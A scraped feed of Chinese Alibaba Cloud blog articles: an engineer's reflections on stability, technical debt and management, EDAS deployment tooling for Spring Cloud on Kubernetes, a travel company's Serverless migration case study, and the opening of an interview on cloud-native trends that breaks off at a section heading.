      用阿里云服务器ecs之建站方法汇总(云服务器建站+心选建站+定制建站) Fri, 02 May 2025 09:39:04 +0800

      ]]>
      饿了么4年 + 阿里2年:研发路上的一些总结与思考 Fri, 02 May 2025 09:39:04 +0800 我是在2014年入职饿了么,从前端和PHP一直做到后端架构和团队,从2014年到2017年陆续负责过公司客服、销售、代理商、支付、清结算、订单这些业务的产研与团队;2018年从业务研发团队抽身,6个人组起一个小组投身机器学习,试图结合实际的业务场景通过技术改造业务;2019年回归到平台(中台)研发,负责交易、金融、营销三个中台的研发和团队工作。基于我在饿了么的4年和阿里巴巴的2年研发经历,从技术、业务和架构层面分享一些我的思考。

      一、技术层面

      对开发同学而言,技术是立身之本,虽然往往面试造火箭入职拧螺丝,但技术就是你从业的的基石。不管是基本的动手能力还是问题分析能力,包括你的思维逻辑乃至对事物认知的思路,技术思维都会时刻影响你,最明显的影响就是当你面对无数个问题的钉子时,技术是不是你最顺手的那把锤子。

      技术上我比较关注的几个层面:

      基本功(语言、编码这个层面,主要是动手能力)
      大型分布式系统的实战经验(RPC、SOA、MySQL、Redis、MQ)
      项目(DB设计、API契约、DDD抽象、链路设计、项目风险把控)
      稳定性(可用 & 资损)

      1、 稳定性

      稳定性是一个先有意识再有能力的事儿,记得2015年初,张雪峰加入饿了么担任CTO之后,从他嘴里最常听到的一句话就是“研发要对生产环境有敬畏”。

      2014年下半年,各方人马都开始杀入外卖市场,饿了么启动百城计划进行业务扩张,短时间内从10+城市覆盖到100+城市,日订单量也很快从10W上涨到100W。业务井喷的同时,技术还没有做好足够的准备,我印象中2014年下半年近乎每天中午交易量都有新高,但同时也伴随着系统开始宕机、限流扩容、紧急调优、客服爆线、技术加班熬夜。

      我曾在新乡的客服中心看到有的客服同学突然崩溃,耳机直接摔下来离开工位,因为每天会接收到大量用户的来电责问,就在那一刻其实你才会清晰且直观的感受到:你在编辑器的一行代码,你在服务器的一次发布,会对现实世界很多活生生的人有直接影响,你会突然意识到你的工作比你之前以为的要重要且有意义。
      所谓研发要对生产环境有敬畏,就是你知道你的作品会对别人产生不好的影响,你会为不好的结果感到惭愧与内疚,这就产生了敬畏。

      应急处理有一个基本原则:“以业务影响最小为主,优先恢复为核心目的,不要纠结手段和根因。”

      image.png
      别把你的懊悔、决心、稳定性的思考、各种奇妙的idea以及执行力体现在事故复盘会上,系统的安全生产和火灾一样,事前才有意义。

      2、 链路设计

      大部分产研缺少全链路的视角,往往看到的是自己负责的点,但是对于一条线乃至整个面是看不到的,也没有机会去思考这些,而对于一些大项目和长链路系统而言,这是致命的。

      对你所负责的系统,它关键的上下游、核心业务的链路一定要熟悉,包括数据、接口(调用、功能、逻辑)、各种异常的处理和特殊的设计。

      能帮你达成这一目的的最简单的办法就是画图、画图、画图!重要的结论说三遍,一定要自己能把系统的大图画出来,然后做到可以根据大图随意放大和缩小。放大到就是将链路画到业务场景里突出业务逻辑和上下游交互,缩小就是细到某一次调用的处理逻辑大致是怎样,数据是怎么变化。经常画图,不用纠结形式和标准,重要的是形成自己理解系统的一个框架,一个自己的思维方式,需要的时候可以随时拿出来用。

      日常不管是聊需求还是做系统设计,习惯性的把图画出来,就达成了一半了。剩下的一半就要看着图去找想、去找问题。放两个双十一猫晚在公开渠道的大图,可以找找感觉,自己画的话一定要钻到服务、接口和数据上,类似我上面说的你有一个放大镜,随时能放大也能缩小。
      image.png
      image.png

      3、 技术债务

      永远不要骗自己说,现在为了这个需求先挖一个坑,过一段时间再来填(重构 or 重做)。
      技术债务和金融债务一样,它必然存在,并且会像无赖一样一直赖着,隔三差五会爆发一下。随着时间的推移和业务的发展,你会发现架构越来越混乱,不同系统的领域边界越来越模糊,系统和需求与组织关系的映射越来越复杂,服务内编码风控越来越不一致,重复的轮子一个接一个隐蔽的出现。

      “太忙了没时间梳理哪些问题”、“改那些问题需要上下游一起改,费时费力,推不动”、“现在还没出问题,而且正在整理了,别催”。其实通常情况下,技术同学多少都有点代码洁癖,有很多问题不处理不是主观的原因,而是客观上因为精力、时间、ROI等因素,往往要等问题真的爆发后,大家才能狠下心来去处理那些问题 。

      我以前处理技术债务的思路,是要有一个检查清单,我会定期的复盘所有的系统,并且结合自己团队和其他团队的事故去全量扫雷。系统本身是一个平衡的产物,是时间、功能、风险、未来可能性等几个方向平衡的结果。所以技术债务对于研发同学的考验,不在于你怎么在日常工作中保证系统技术债为0,而是你要评估清楚在有限的资源和时间下,哪些问题是刻不容缓的,哪些问题是可以往后放的。

      很难想象一个没有技术追求的团队能开发出一个健壮的、可维护性好、可扩展性好的系统。相反,这种业务代码的堆砌,从短期看也许是“较快”实现了业务需求,但是从长远来看,这种烂系统的增加会极大的阻碍业务的发展,形成一个个的黑洞应用,而工程师被裹挟在业务需求和烂系统之间,疲于应对,心力交瘁。这种将就将导致系统腐化堕落,技术债越垒越高,丑陋的代码疯狂滋长,像肿瘤一样消耗你所有的能量,最后还要你的命。

      4、警惕大项目

      并不是所有人都有能力操盘大项目,可以平衡好交付压力、上线质量、产品逻辑以及时间窗口,这是一个非常有挑战的工作,需要纯粹的技术能力之外的很多软性能力来辅助,比如组织的沟通协作能力、向上要权要责的能力、平衡产品业务期望的的能力、突发情况应急转变的能力等。越大的项目对于Owner的要求也越高,真能把大项目做好不怎么留大坑的少之又少。

      大项目从启动到立项所用的时间很多时候是远超项目实际的开发周期的,项目的顺利推进需要妥协,但项目的价值成功需要坚持。很多项目失败其实在做的过程中,方方面面不断妥协,最后做出来的东西已经远离了最开始想象的样子。

      二、业务层面

      除了技术之外,研发同学对业务层面也需要提升认知与重视。
      对于研发而言,业务就像是外语,你不理解业务就好似人在异国,与周围的环境格格不入,并且容易吃亏!相比产品、业务、运营等其他工种,技术更喜欢和技术打交道,业务在大多数同学眼中是混沌且缺少秩序的,没有技术那样清晰的实现路径和稳定共识的知识结构。并且技术相对容易证伪,而业务往往就是不停的尝试,研发都讨厌“不确定性”。但是在一个庞大的组织里想把技术做好,就必然要与业务打交道,毕竟业务才是一家公司存在的核心价值。

      1、基于业务规划做技术规划

      很多同学习惯于把计划=规划。阿里是一家尊重技术的商业公司,所以你看所有的团队都在谈业务、规划里是业务规划、周报里是业务项目、汇报里是业务成果、晋升的时候也要突出你的“战功”。相比技术本身,大家更关注技术改变了什么,在业务部分聊技术团队如何做规划的原因就在于此,这是公司运营的的起点(目的),延伸出来才有具体的技术规划和组织设计作为解决方案。

      深刻理解业务并设计战略,拆解战役与项目,通过组织和各种机制确保项目的执行与落地,最终拿到业务结果,这是一个大公司的标准战略执行方式。研发同学做技术规划以及团队规划的时候,一定要考虑到你所在环境,公司今年要主打什么、所在大部门的目标是什么、对口的产品和业务现状如何、纯粹的技术迭代在业务上的好处在哪儿、另外团队目前有哪些不可抗力、或者影响规划推进的阻力。

      很多同学做规划的时候会习惯性按照这个思路进行:① 总结现状(痛点)=> ② 对应的解决方案和策略 => ③ 展望未来。有时候②和③的顺序会反过来。很多时候大家发现最终的部门规划和自己做的规划没什么关联,不知道怎么往那个方向用力,或者干脆继续按照自己的计划先走着。

      对大部分同学,我建议规划要实在。做技术规划前,找你的周边研发团队聊一下,找你对口的产品、运营聊一下,知道他们的目标是什么,知道公司几个重点是什么,然后结合你们目前的痛点,在现在和未来之前找平衡、找现在和未来都有收益的那部分。
      规划有一些很硬的内容,这个目标解决什么问题、怎么确定它解决了以及解决的好不好,好的结果谁认可等。规划一定要有重点,没有重点的那不叫规划,那是你后面的日程计划。很多同学对做规划不投入,也有自己的想法,比如公司业务或者战略变化太快、组织调整太频繁,下半年在哪个团队工作甚至做什么都不一定。不否认变化的频繁以及对规划的影响,但是如果一直这样思考,你永远无法从变化中获得价值,因为你一直在置身事外。

      2、研发要比产品还懂业务

      研发要比产品还懂业务。雷军说过:“永远不要试图用战术上的勤奋,去掩盖你战略上的懒惰。”对于研发同学,你要比业务同学更懂业务才能找到技术与业务平衡的空间。对大部分同学而言,常常是只熟悉自己负责的系统,但是对于想要更大空间和更多成长的同学,我可以给出明确的结论:只熟悉自己负责的系统是不够的。

      首先,不同的人对熟悉的定义不一样。对于你负责、你贡献代码、你进行设计并且完成需求交付的系统,单是熟悉远不够,你不仅要知道它的前世今生,思考它的一路成长,纠结它的未来发展,同时还要清楚它的风险与隐患,它的生与死。

      基于你最清楚的核心系统,由它开始做业务场景上的外延,以此了解你的上下游,并且能做到结合业务场景去挖掘。从业务的角度、从产品的链路、从技术的调优和隐患多个视角去切,让自己的设计维度与视角不断拉升,这样你有把握或者有掌控力的范围会越来越大,未来才会有更多的机会。

      三、管理层面

      团队是一个宏观与微观并存的事务,宏观上我们说组织、讲战略、定规划、要排兵布阵,微观上我们关注沟通、成长、情绪。大部分同学之所以在微观上受挫就是因为没能把握到宏观的节奏,公司是一个盈利组织,技术中心是一个成本部门,技术中心之所以会有某一个组织那么一定是:“公司期望这个组织解决某一类问题,并且解决到一定程度。”

      所以在这里你要理解一个关键词,“结果和KPI”并不取决于你怎么定义它,而是给你下放目标的组织与管理者对你的期望是怎样的,你们的GAP往往未必是结果的差别,而是期望的落差。

      1. 拥抱变化

      其实大多数时候不需要你去拥抱,变化会突如其来的抱住你,勒紧你的脖子让你有那么一瞬间觉得呼吸困难。互联网公司之所以变化快,很大程度取决于它的业务属性,相比传统公司能更快更清晰的感受到与市场的契合程度并且及时调整策略,所以没有时间和信息上的延迟与滞后。

      结合这几年的经历,到最近两年加入阿里,一直说拥抱变化感觉就比较自然了。核心的体悟有两个:

      (1)对业务的发展和环境的变化要敏感,如果能在在变化到来之前主动发起变化,那么化被动为主动是最好的。即使不能,也要清晰的去感受和思考变化背后的动力在哪儿,去给找到关键的发力点,让自己可以适应变化。

      (2)变化带来的工作内容的调整、汇报线的调整、团队的变化等,不管好坏都是在一个时间段内相对的,而不是一个工作生涯中绝对的。不可能事事如意的情况下,调整自己的心态,把自己从情绪中摘出来更多关注事情会是一个好的选择。

      2. 加人不能解决问题

      即使嘴上再怎么说“不能”,但是动作会很诚实,依然会尽可能多地要HC,更多的拼命的把更多“核心”的系统建建设在你的职责范围内。
      另外可以辩证的看类似于有效灰度,你可以看一下你有没有“有效加人”,一些TL不关注新人的Landing,相当于只盯数量不盯质量,最后结果肯定是一塌糊涂的。

      从绝对理论的角度加人肯定是有帮助的,你的资源变多了,周转的空间和操作的余地都丰富了。但是从经验看,大部分情况下加人没有产生最终的价值变化(项目的结果、业务的成败)。因为系统的开发、项目的推进并不是单纯的资源堆砌,1000人日的系统哪是1000个人做一天就做出来的。真实的世界上,我们往往不是败在资源的使用量上,而是资源的使用方向和使用效率上,但是因为加人这件事儿上最容易的、最无脑的,所以大多数情况下也最被优先选择。

      3. 有意识地向上管理

      这个问题源于过去经历的两个点,一是我经历了无数次的组织关系调整,我发现不管是我自己还是我团队的同学,大家相比于自己做什么以及带不带人、带多少人外,更关注的是自己的汇报线。自己汇报给谁,谁是我老板,我和他处不处的来,他能不能让我有提高、有成长。二是很多同学,尤其是P5、P6和少部分P7的同学,会对与老板的相处关系有困惑。
      基于这两个点我把向上管理作为一个单独的话题加了进来,先说结论:要!要!要!必须要!一定要!

      连马老师都说员工离职的三大要素之一就是和老板处不来,你怎么还能心安理得的忽略它。如果大家对于向上管理还停留在服从甚至谄媚的态度来处理你们的关系,我只能说亲,你真是硬生生把这么高大上的词儿给解释的特别的接地气。我没有系统的学过向上管理,也没有体系化的看过这方面的书,所以我只说一下自己的理解。

      个体在一个组织里想得到报酬和收益,基本的方法就是促进组织的成长与提高并且同步提高自己,这样就可以从中分得自己那份收益。这就要求你产出的结果是要对组织有正向溢出的,但是这个方向与标准并不是所有人都清楚或者能准确的把握到。经常有绩效差的同学很沮丧甚至抱怨的说,我自己经常加班,甚至是部门走的最晚的,周末也要处理工作等。先不讨论复杂的背景上下文,如果命中上面这一条的,我先给你个忠告:除了按件计费的工厂,其它任何地方体力上的付出与最终结果都没有明显的直接关系。就像你上学的时候一定有那么几个别人家的孩子,要么就是特别努力学习特别好,要么就是看上去每天和你一起玩,但是成绩总是碾压你。从学校到社会,这个现象并没有消失,别迷信加班和体力上的付出,大多数人只要能不去思考,在体力上愿意做出的付出,远超你我的想象。

      与老板的相处和沟通,本质上是为了达成一致的目标和互相认可的结果。这是一个非常关键的初衷,我有时候开玩笑和团队的同学聊,说你们要好好看看我老板到底想干嘛,这样你们做出来,我好去汇报。方向、节奏、结果的对焦对于工作的展开和拿成绩是至关重要的,同时你要从他身上获取更多的信息以便于自己的判断决策和学习,不断从老板身上吸取养分。

      在一些环境中,体力上的付出是必须的,但是仅有体力上的付出最终只能感动你自己,你的团队并不想每天陪你加班到11点或者发布到凌晨2点,更没有兴趣凌晨1点半还拉个电话会讨论方案。所以一定要做好“期望管理”,你老板对你的期望、对项目的期望、你对他给予你空间和支持的期望,大家一定要对焦清楚并且目标一致。

      四、架构层面

      还有一点我觉得也很重要,就是在架构层面,包括业务架构、技术选型和细节实现上,要有清醒的认知。

      1. 最关键的是定义问题

      爱因斯坦说过:“提出问题比解决问题更重要!”定义问题是个脑力活,解决问题是个体力活。大家往往习惯于看到一个问题就冲上去锤它,从概率上来讲,很大可能会陷入一个解决问题的黑洞,就是你不停地在解决问题,但是最终你的情况没有变好。

      当你面临一个困难或者一个情况时,首先比较重要的是定义问题,这到底是要解决什么、解决了有什么好处、怎么确定解决了。其次是定义结构,这个问题的关键点组成,你对应的解法是怎样的,这其中得失要怎么权衡轻重,并且最终解决的效果如何贯穿和透传,由点及面。

      一个团队可以不停歇的埋头干,但是未必会干出成绩。大部分习惯罗列面对的问题,但是对这些问题并没有做一个全局的分析和梳理,其实最难的就在“找问题”上。

      2. 问题的本质没那么高深

      有时我们做一个项目,可能有一个产品需求,大家看完觉得不好做或者做不了,因为系统现在不支持,改造成本太高,并且还伴有很多不确定的技术风险。相信很少有人在这种情况下会无脑的要求加人、加工期来解决这个问题。大多数情况下我们会看有没有捷径或者其他方案,让产品效果达成,哪怕技术实现脏一些、绕一些。其实这时候横向纵向多挖一下或者多问几个问题,有可能就会有不一样的答案。这个需求在解决用户什么问题,目前这个解决方案是不是业务(产品、技术)上唯一的,这个解决方案会带来哪些成本和新的问题,目前正在推进的其他项目和这个问题会不会有关联,有没有其他团队也在解决类似的问题或者曾经解决过。

      3. 达成目标

      在工作中小到聊定一个API契约、中到上线一个需求、大到完成一次晋升,所有的事情都是有成功的方法的。找出短板、设定计划、抗住挫折、反复训练、根据反馈调优,就可以解决任何问题。《债务危机》这本书里总结了一个五步成功法,很有意思:
      image.png
      著名的大数学家波利亚有一本名著《怎样解题》,其中给了一个四步解题法,可能站在研发的角度看会更有感觉:

      image.png

      4. 持续学习才是根本

      时代在持续发展和变化,现在正是最波澜壮阔的年代,这样的环境下,不管当前如何积累,都有可能随着发展的变化在短时间跌落谷底。公司能发展一定是在某一个时期内非常契合环境的要求,但随着时间的变化,如果它的变化不能跟上来,那么也只会被时代抛弃。正所谓让你成功的,最终也将让你失败,比如柯达、诺基亚不能幸免,个体也难逃这样的规律。

      这样的情况下,持续的学习和改变自身的能力才是研发同学最大、也是最强的优势。技术本身的日新月异要求你持续学习,同样的习惯放射到各个领域上,才会慢慢的取长补短,优化自身,所以如果说研发同学最需要什么,我认为持续的学习能力是最关键的。

      正如饿了么创始人张旭豪在之前接受采访时有一句话,让我很难忘:最重要的是选择,最困难的是坚持。

      作者:石佳宁

      ]]>
      SpringCloud 应用在 Kubernetes 上的最佳实践 — 部署篇(工具部署) Fri, 02 May 2025 09:39:04 +0800 前言

      上一篇我们介绍了从 IDE 插件内介绍了如何进行应用部署的方式,除此之外,目前 EDAS 还支持了额外的工具对其他场景进行覆盖,这一篇内容主要就是介绍 EDAS 上围绕部署的工具体系。

      第一篇:《SpringCloud 应用在 Kubernetes 上的最佳实践 — 开发篇》
      第二篇:《SpringCloud 应用在 Kubernetes 上的最佳实践 — 部署篇(开发部署)》

      IDE 插件中进行部署

      因为 IDE 是离开发人员的代码最近的工具,所以 IDE 插件中的部署能力也是专门为开发人员提供的部署工具,他的特点就是速度快、使用简单,同时也覆盖了 ECS 集群与 Kubernetes 集群中的 War/Jar 、以及自定义镜像的部署方式。具体使用方式,我们都已经整理成了官方文档,请在 EDAS 的官方帮助文档中,查看《使用 Cloud Toolkit 快速部署应用至EDAS》章节。

      不过对于线上的应用而言,如果随便一个开发人员都能进行随意的变更,这是一件很不安全的事情。EDAS 在命名空间设计的时候,也考虑到了这个问题,解决的办法就是 EDAS 上的命名空间,其用途是用来隔离环境之间的服务与配置用的。可以理解成通常意义上的环境,如:开发、测试、生产等。为避免用户在 IDE 插件中误将线上环境进行变更,我们对命名空间加入了一个允许远程调试的选项,开启之后才能在 IDE 中进行相应的操作,此开关默认为关闭状态。如下图所示:

      Maven 插件中进行部署

      Maven 插件的使用场景介于开发人员与运维人员之间,他的设计主要秉承当下比较流行的 DevOps 的理念,可以将部署流程配置化的方式进行发布。即我们可以将部署的配置信息,随代码工程放置在一起,进行版本跟踪,同时也能将应用的配置根据 Spring 中的 Profile 进行区分。按照相应的配置做好之后,只需要执行简单的  mvn toolkit:deploy  即可完成部署。具体可以参见 EDAS 官方文档的《使用toolkit-maven-plugin插件部署应用》。

      CI/CD 中进行部署

      一套标准的 DevOps 流程肯定少不了 CI/CD 的存在,作为市场上使用最广的 CI/CD 工具 Jenkins ,以其简单易用和其丰富的插件能力而著称。EDAS 也补齐了这一平台的插件,这款插件也涵盖了 EDAS 中所有主流场景的部署,尤其在 Kubernetes 这一块,同时集成了镜像构建、推送、部署的能力。具体可以参见 EDAS 官方文档的《在Jenkins中使用edas-jenkins-plugin构建应用到EDAS》。

      同时,目前还有很多的用户在使用云服务云效,云效中集成了强大的流水线的能力,EDAS 是其中的一个内置的流水线的任务模版,名称为部署到EDAS,详情请参考 EDAS 官方文档《使用云效部署Java应用至EDAS》。

      使用 Terraform 进行编排

      Terraform是一种安全有效地构建、更改和版本控制基础设施的工具(基础架构自动化的编排工具)。它编写了描述云资源拓扑的配置文件中的基础结构,例如虚拟机、存储账户和网络接口。Terraform的命令行接口(Command Line Interface,CLI)提供一种简单机制,用于将配置文件部署到阿里云上,并对其进行版本控制。

      EDAS 也集成了当下比较流行的 Infrastructure As Code 的理念,拥抱 Terraform 的生态,提供了一个官方插件,让用户可以以 Infrastructure As Code 的方式将应用编排到对应的底层 IaaS 层资源与其他 PaaS 资源上,文档参见:《使用Terraform部署应用至EDAS》。

      使用 CLI 工具中进行部署

      对于一个资深的运维人员而言,可能最喜欢的操作的方式还是命令行工具。除了使用习惯之外,因为命令行工具同时具备很好的脚本化,和其他的脚本语言进行结合后能具备更丰富的能力。

      EDAS 中的 CLI 工具,目前是依托于阿里云的命令行入口,已 POP API 为命令,API 的参数为命令行的参数进行构建,也就是说其本质还是转换成为一次 POP API 的调用。官方文档请参考:《使用 CLI 快速部署 EDAS 应用》

      结语及后续

      EDAS 的部署工具基本上围绕着开发人员、运维人员、DevOps 场景进行构建,不过对于一次部署而言,触发往往只是提交一个任务,而我们其实更关心任务提交之后的结果,甚至结果对于业务的影响。因为我们每一次任务的触发,其实都是对线上环境的一次变更,变更则很容易产生故障,对业务产生不连续性,根据阿里巴巴的经验,?% 的线上故障都是由于变更产生,所以在 2018 年末,提出了线上变更的三条原则:可灰度、可回滚、可监控。EDAS 也是逐步将这一理念中的各种能力在产品中践行;所以接下来的章节将围绕着线上变更来进行,下一讲将进入第一小节《可灰度》。

      本文作者:孤弋,阿里云高级技术专家,负责 EDAS的开发和用户体验优化工作。

      ]]>
      SpringCloud 应用在 Kubernetes 上的最佳实践--系列内容总结 Fri, 02 May 2025 09:39:04 +0800 为了顺应使用 SpringCloud 做为微服务的框架,同时选择 Kubernetes 作为应用与基础设施运维底座这一趋势,EDAS 也紧紧围绕这一典型场景,对它的开发、测试、部署、联调、线上运维等诸多环节中的开发者体验进行深度打磨,发布了全新的 3.0 版本。同时,针对如何在采用了 SpringCloud + Kubenetes 架构的应用上使用 EDAS,我们团队提供各个环节的最佳实践,供开发者参考,本系列将按照一定的周期推出具体的文章讲解,详情如下:

      第一篇:SpringCloud 应用在 Kubernetes 上的云上实践 - 开发篇
      第二篇:SpringCloud 应用在 Kubernetes 上的最佳实践 — 部署篇(开发部署)
      第三篇:SpringCloud 应用在 Kubernetes 上的最佳实践 — 部署篇(工具部署)
      第四篇:SpringCloud 应用在 Kubernetes 上的最佳实践 — 线上发布(可灰度)

      持续更新中·····

      ]]>
      这家在线旅游企业将 Serverless 和微服务进行了完美结合 Fri, 02 May 2025 09:39:04 +0800 客户介绍

      百富旅行是全球领先的在线旅游同业交易平台,覆盖机票、火车票、酒店、邮轮、汽车票、门票、旅游、商城等版块,通过整合全球的优势资源,基于云计算和大数据决策为全球旅游从业者提供一站式智能整体解决方案。截至目前,百富旅行已经与600多家航空公司、国内所有火车线路、2500个汽车站,以及60多家邮轮集团进行了业务整合,网络覆盖全球100多个国家和地区。

      业务痛点

      随着业务的飞速发展,百富旅行技术团队通过Spring Cloud 等开源框架搭建了完善的微服务技术架构,并在底层服务器资源方面全面拥抱阿里云ECS,利用云计算提升工作效率,降低工作成本。将微服务应用上云之后,不需要再考虑硬件资源购买以及服务器架设等运维步骤,这样技术团队可以将更多的精力投入到业务需求实现中。随着系统迭代次数的增加,原有的微服务架构开始暴露出一些问题:

      1、微服务运维难度大
      从系统架构的角度,将微服务应用直接部署在云虚拟机上,跟部署在物理机房相比,并没有本质的区别,团队依然需要从底层维护每一个应用实例,包括操作系统调整、磁盘容量规划、JDK等组件安装等工作,这些工作都每一台云虚拟机投入使用的过程中,都是必不可以的。

      2、测试环境利用率低,闲置资源高
      在系统频繁的迭代过程中,不同的开发小组甚至不同的开发人员都需要单独的一套测试环境,久而久之整个技术团队创建了多套测试环境,其中一些测试环境包含了所有的微服务应用,整体资源利用率特别低,造成了大量的资源浪费。而且旅游业务本身也存在非常明显的波峰波谷,微服务架构可以很方便地为每一个应用进行水平扩容,但如果用于扩容的虚拟机资源需要预先购买的话,同样会造成大量的资源闲置。

      选型调研

      近些年在云计算领域异军突起的Serverless架构正好能解决上述这两个问题。由于不需要为Serverlesss应用购买底层服务器资源,直接按需申请,可以免去容量规划、操作系统调优等复杂的运维工作,Serverless架构的弹性伸缩机制也彻底解决了资源的闲置与浪费问题。因此,百富旅行技术团队开始对Serverless架构进行技术预研。

      Serverless架构有两种常见的实现方式:

      第一种是把每个微服务应用进行容器化改造后,统一使用Kubernetes进行编排,并利用云厂商提供的弹性容器实例实现容器层的按需调用。

      这种方式的门槛很高,需要有精通Kubernetes技术的运维小组加入,并且需要团队投入比较大的精力对应用进行容器化改造,暂时不适用于百富旅行这样小规模高效率的技术团队。

      另一种方式是使用类似于AWS Lambda或阿里云FC函数计算引擎,将所有业务逻辑进行函数化重构。

      这种方式基本上需要将之前写的代码推倒重来,而且在一些拥有复杂调用链路的业余环节并不能发挥Serverless的优势,对百富旅行而言更加不合适。

      经过多轮技术调研以及与阿里云技术专家深入交流后,百富旅行技术团队认为,阿里云提供的Serverless应用引擎(SAE)方案最适合他们的Serverless平台。

      区别于其它 Serverless 产品,SAE 直接支持 Spring Cloud、Dubbo 等开发框架,真正实现了 Serverless 架构 + 微服务架构的完美结合。开发者可以通过WAR、JAR、镜像三种方式部署Serverless应用,不需要学习Kubernetes以及容器技术,也能享受Kubernetes和云上弹性容器的技术红利。

      SAE使用实践

      由于SAE属于应用层的Serverless方案,对于之前通过Spring Cloud框架构建的微服务应用,可以非常平滑地逐步迁移到SAE平台上,不涉及任何代码和业务逻辑的修改,这一点也是百富旅行全面拥抱SAE方案最重要的原因。

      image.png
      部署在SAE上的微服务应用,可以按需申请资源,根据实际使用资源量按分钟计费,避免业务不活跃时段的费用支出,有效降低成本,并且微服务应用也能充分的发挥弹性伸缩的价值。特别是对于测试环境,SAE可以做到一键启停,避免了资源闲置问题。对于生产环境的任何一个应用,如果有扩容实例的需求,也能够迅速拉起新的实例,并自动与SLB以及注册中心完成绑定。

      此外,通过SAE提供的应用生命周期管理能力,百富旅行技术团队彻底告别了通过编写脚本进行版本发布的方式。不论是应用的部署、启动、停止、与SLB关联、扩容实例、缩容实例,都可以通过阿里云控制台进行可视化操作。配合SAE的版本管理以及多种灰度发布机制,进一步降低了版本更新过程中的风险。对于新发布的版本可以在生产环境先进行小规模验证,一旦不能满足要求可以一键快速回滚。SAE还额外提供了系统监控功能,能从基础资源、JVM、应用链路等多个层面实时、直观地了解系统运行状态。

      经历了基于SAE的Serverless化演进之后,百富旅行节省了大量云资源的成本投入,并且减少一半以上的运维工作,为业务持续发展打下了坚实的基础。未来,百富旅行将继续基于自身的技术特点不断深入探索Serverless架构,在拥抱新技术的同时也能充分享受到云计算的红利。

      更多解决方案和产品细节,可点击Serverless 应用引擎 SAE >>

      ]]>
      云原生的五大趋势,K8s安卓化位列其一 Fri, 02 May 2025 09:39:04 +0800 “未来的软件一定是生长于云上的”,这是云原生理念的最核心假设。而所谓“云原生”,实际上就是在定义一条能够让应用最大程度利用云的能力、发挥云的价值的最佳路径。因此,云原生其实是一套指导软件架构设计的思想。按照这样的思想而设计出来的软件:首先,天然就“生在云上,长在云上”;其次,能够最大化地发挥云的能力,使得我们开发的软件和“云”能够天然地集成在一起,发挥出“云”的最大价值。

      云原生的概念大家并不陌生,很多企业也已经基于云原生的架构和技术理念落地相关实践。那么,这么多企业和开发者热衷和推崇的云原生,未来的发展趋势如何?如何才能顺应云原生的主流方向去发展?怎么在云原生时代“乘风破浪”?

      我们邀请到阿里云原生资深技术专家、CNCF技术监督委员会代表,etcd作者李响和阿里云高级技术专家、CNCF 应用交付领域联席主席张磊分享云原生的理念、发展以及未来趋势,为大家打开新的思路和眼界。

      以下内容共享给大家。

      一、Kubernetes项目的安卓化

      云原生里有一个非常关键的项目,就是Kubernetes。Kubernetes的发展非常迅速,它是整个云原生体系发展的基石。今天我们来观察Kubernetes项目的发展特点,首先,Kubernetes无处不在,无论是在云上,还是用户自建的数据中心里,甚至一些我们想象不到的场景里,都有Kubernetes的存在。

      第二,所有云原生的用户使用Kubernetes的目的,都是为了交付和管理应用。当然这个应用是一个泛化的概念,可以是一个网站,也可以是淘宝这样非常庞大的电商主站,或者是AI作业、计算任务、函数,甚至虚拟机等,这些都是用户可以使用Kubernetes去交付和管理的应用类型。

      第三,今天我们来看Kubernetes所处的位置,实际上是承上启下。Kubernetes对上暴露基础设施能力的格式化数据抽象,比如Service、Ingress、Pod、Deployment,这些都是Kubernetes本身原生API给用户暴露出来的能力。而对下,Kubernetes提供的是基础设施能力接入的标准接口,比如说CNI、CSI、DevicePlugin、CRD,让云能够作为一个能力提供商,以一个标准化的方式把能力接入到Kubernetes的体系中。

      这一点其实跟安卓非常类似,安卓虽然装在你的设备里,但是它能够让你的硬件、手机、电视、汽车等都能接入到一个平台里。对上则暴露统一的一套应用管理接口,让你能够基于安卓系统来编写应用,去访问或者享受到这些基础设施能力,这也是Kubernetes和安卓的相似之处。

      最后,Kubernetes本身并不直接产生商业价值,你不会花钱去购买Kubernetes。这就跟安卓一样,你不会直接掏钱去买一个安卓系统。而类似的,Kubernetes真正产生价值的地方也在于它的上层应用生态。对安卓来说,它今天已经具备了一个庞大的移动端或设备端应用的开发生态,而对于Kubernetes来说也是类似的,只不过现在还在于比较早的阶段。但我们已经能够看到,今天在Kubernetes上构建的商业层很多是垂直解决方案,是面向用户、面向应用这一侧真正能够产生商业价值的东西,而不是Kubernetes本身这一层。这就是为什么我说Kubernetes发展跟安卓很像,当然这可能也是谷歌比较擅长的一个“打法”:全力地去免费推广一个“操作系统”,真正获取商业价值的方式则是是去“收割”操作系统上层的生态价值而不是操作系统本身。

      基于这些现象,我们将Kubernetes的发展趋势概括为以下几点:

      1、云的价值回归到应用本身

      用户使用Kubernetes的本质目的是去交付和管理应用。从这个现象来看,如果Kubernetes 发展下去,那么世界上所有的数据中心和基础设施上面都会有一层Kubernetes,自然而然用户就会开始以Kubernetes为基础去编写和交付以及管理其应用,就跟现在我们会以安卓这样一个操作系统为基础去编写移动应用是类似的。

      这就会导致云上的大多数软件和云产品都是第三方开发的。第三方开发是指所有人都可以面向一个标准界面去开发和交付软件,这个软件本身既可以是自己的软件,也可以是一个云产品。未来,越来越多的第三方开源项目,如MongoDB、Elasticsearch等,都会以云原生理念去开发、部署和运维,最后直接演进成为一种云服务。

      2、云端“豌豆荚”的出现

      有了Kubernetes这样一个标准,开发者面对的就是一个类似于操作系统的界面。由于有更多的应用是面向Kubernetes诞生的,或者说面向Kubernetes去交付的,那么就需要有一个类似于“豌豆荚”的产品,来作为云上的应用商店或者云上的应用分发系统,它的关键能力在于把应用无差别地交付给全世界任何一个Kubernetes上面,就跟用豌豆荚把任何一个安卓应用交付在任何一个安卓设备上的原理是一样的。

      其实今天谷歌已经在做这类产品的尝试了,比如Anthos(面向混合云的应用交付平台),虽然是一款混合云产品,但它本质上是把谷歌云的服务,比如数据库服务、大数据服务,去直接交付于任何一个基于Kubernetes的混合云环境里面去,其实就相当于一款云端的“豌豆荚”。

      3、基于Kubernetes可扩展能力的开放应用平台会取代PaaS成为主流

      由于未来整个应用生态会面向Kubernetes去构建,那么基于Kubernetes可扩展能力的开放应用平台会逐渐取代传统PaaS 而成为主流。基于Kubernetes可扩展能力去构建一个开放的应用平台,其能力是可插拔的,能够去交付和管理的应用类型是多样化的,这才更符合Kubernetes所构建的趋势和生态,所以一些真正高可扩展的平台层项目会大量产生。

      另外,今天我们看到的Kubernetes,跟“理想”中的云原生应用生态之间其实还有很多路要走,这也是阿里云原生团队一直在做的事情,基于Kubernetes在应用层构建更丰富的应用生态,帮助用户实现多样化的需求。

      二、应用与能力的“Operator化”

